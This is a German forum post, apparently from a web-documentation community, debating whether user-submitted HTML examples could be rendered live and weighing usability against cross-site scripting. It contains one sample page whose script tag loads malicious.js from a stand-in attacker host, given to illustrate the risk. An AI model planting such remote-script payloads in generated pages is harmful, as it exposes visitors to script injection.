nicht angemeldet
Lieber Christian,
<<code>>
<html>
<title>Test</title>
<p>Test</p>
</html>
<</code>>und dann wird ein automatischer Link generiert, der genau das anzeigt, was da eingegeben wurde?
Du hast mich völlig richtig verstanden.
Das ist doch *genau* das (abzüglich IFrame), was Stefan bereits auf seiner WikiDot-Seite hat. (Und was ich schon kritisiert habe.)
Ist es das wirklich? Der User sieht ja im Grunde vorher, welches Dokument da geöffnet wird und was es enthält. Wenn dann pöhse Scripte inkludiert werden (siehe folgendes Beispiel), dann ist das sicherlich nicht wünschenswert, aber dann kannst Du ja noch immer mit Deinem redaktionellen Freigeben kommen.
<<code test.html>>
<html>
<head>
<title>Test-Seite</title>
<script type="text/javascript" src="http://xssattacker.example.org/malicious.js"></script>
</head>
<body>
<h1>Test der Dummheit</h1>
<p>You have been OWNED!!!</p>
</body>
</html>
<</code>>
Ich glaube, wir diskutieren auf zwei völlig verschiedenen Ebenen.
Dir geht es um Sicherheit, mir geht es um intuitives Bedienen. Dass das eine mit dem Anderen im Grunde zunächst nichts zu tun hat, ist mir klar.
potentielles Cross-Site-Scripting
Die Ausgabe kann ja prüfen, ob externe Scripte geladen werden sollen, oder nicht. Und das kann ja unterbunden werden, indem nur "lokale" Scripte überhaupt im HTML-Code erlaubt werden. Dass die eventuell externe Scripte "nachladen" ist zwar ein Problem, aber auch das lässt sich sicherlich in der ein oder anderen Weise lösen. Z.B. indem man für ein Beispiel den JS-Code ausbremst, bis er "zugelassen" ist. Das beträfe dann nur JS-Komponenten in Beispielen der Doku, was dann besonders das JavaScript-Kapitel ausbremsen würde - aber den HTML- und CSS-Bereich ungebremst bearbeitbar macht.
Liebe Grüße,
Felix Riesterer.
ie:% br:> fl:| va:) ls:[ fo:) rl:° n4:? de:> ss:| ch:? js:) mo:} zu:)
suit
xwolf
Der Martin
Auge
Struppi